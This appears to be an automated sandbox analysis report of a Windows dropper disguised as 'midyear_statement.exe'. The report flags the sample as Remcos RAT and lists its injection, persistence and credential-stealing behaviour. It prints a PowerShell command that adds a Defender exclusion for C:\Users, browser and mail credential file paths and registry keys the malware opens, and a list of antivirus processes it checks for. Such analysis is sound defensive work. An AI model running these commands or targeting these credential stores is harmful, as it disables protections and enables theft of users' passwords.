Source: C:\Users\user\Desktop\midyear_statement.exe	Memory written: C:\Users\Public\Libraries\wkrriuhD.pif base: 293008	Jump to behavior
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Memory written: C:\Users\Public\Libraries\wkrriuhD.pif base: 2C2008
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Memory written: C:\Users\Public\Libraries\wkrriuhD.pif base: 3B2008

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

24_2_123420F7

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_12349627 mouse_event,

24_2_12349627

Source: C:\Users\user\Desktop\midyear_statement.exe	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows \System32\2506803.exe "C:\Windows \System32\2506803.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\jshsresovzeecssjzbcdvgiytb"	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\tumlrwcijhwjehgnqmoeyldobicnm"	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\vozespnjxpoopncrzwbyjypxcpmofmxl"	Jump to behavior
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process created: C:\Users\Public\Libraries\wkrriuhD.pif C:\Users\Public\Libraries\wkrriuhD.pif

Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerP5\0
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124CA000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.00000000124D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager"
Source: wkrriuhD.pif, 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager573ef12
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerP5\
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerk
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerP5\22
Source: wkrriuhD.pif, 00000018.00000003.1622995189.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.000000001248D000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerP5\511
Source: wkrriuhD.pif, 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp, logs.dat.24.dr	Binary or memory string: [Program Manager]

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_005C5A34 cpuid

24_2_005C5A34

Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_040A5A3C
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: GetLocaleInfoA,	0_2_040AA708
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: GetLocaleInfoA,	0_2_040AA754
Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_040A5B48
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: GetLocaleInfoA,	24_2_1233F8D1
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: GetLocaleInfoW,	24_2_12382313
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: EnumSystemLocalesW,	24_2_12382036
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	24_2_123820C3
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	24_2_12382610
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	24_2_1238243C
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: EnumSystemLocalesW,	24_2_12378404
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: GetLocaleInfoW,	24_2_12382543
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: GetLocaleInfoW,	24_2_123788ED
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: EnumSystemLocalesW,	24_2_12381F50
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: EnumSystemLocalesW,	24_2_12381F9B
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	24_2_12381CD8

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040A9150 GetLocalTime,

0_2_040A9150

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1234B60D GetComputerNameExW,GetUserNameW,

24_2_1234B60D

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_00401108 GetTimeZoneInformation,

24_2_00401108

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040AB6D0 GetVersionExA,

0_2_040AB6D0

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3664888730.0000000013EEF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.1622995189.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001248D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589543498.000000002427B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1658571409.00000000244BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 1652, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

24_2_1233BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		24_2_1233BB30
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: \key3.db		24_2_1233BB30

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\wkrriuhD.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\Public\Libraries\wkrriuhD.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\Software\Paltalk

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail

Tries to steal Mail credentials (via file registry)

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: ESMTPPassword	28_2_004033F0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword	28_2_00402DB3
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword	28_2_00402DB3

Yara detected WebBrowserPassView password recovery tool

Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 8172, type: MEMORYSTR

Remote Access Functionality

Detected Remcos RAT

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-W5UGP5	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-W5UGP5
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-W5UGP5

Yara detected Remcos RAT

Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3664888730.0000000013EEF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.1622995189.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001248D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589543498.000000002427B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1658571409.00000000244BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 1652, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: cmd.exe

24_2_1233569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Valid Accounts	11 Native API	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	13 Command and Scripting Interpreter	1 DLL Side-Loading	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Valid Accounts	1 Valid Accounts	2 Obfuscated Files or Information	2 Credentials in Registry	1 System Service Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Windows Service	11 Access Token Manipulation	2 Software Packing	3 Credentials In Files	1 System Network Connections Discovery	Distributed Component Object Model	211 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Registry Run Keys / Startup Folder	1 Windows Service	1 Timestomp	LSA Secrets	3 File and Directory Discovery	SSH	3 Clipboard Data	213 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	422 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	59 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
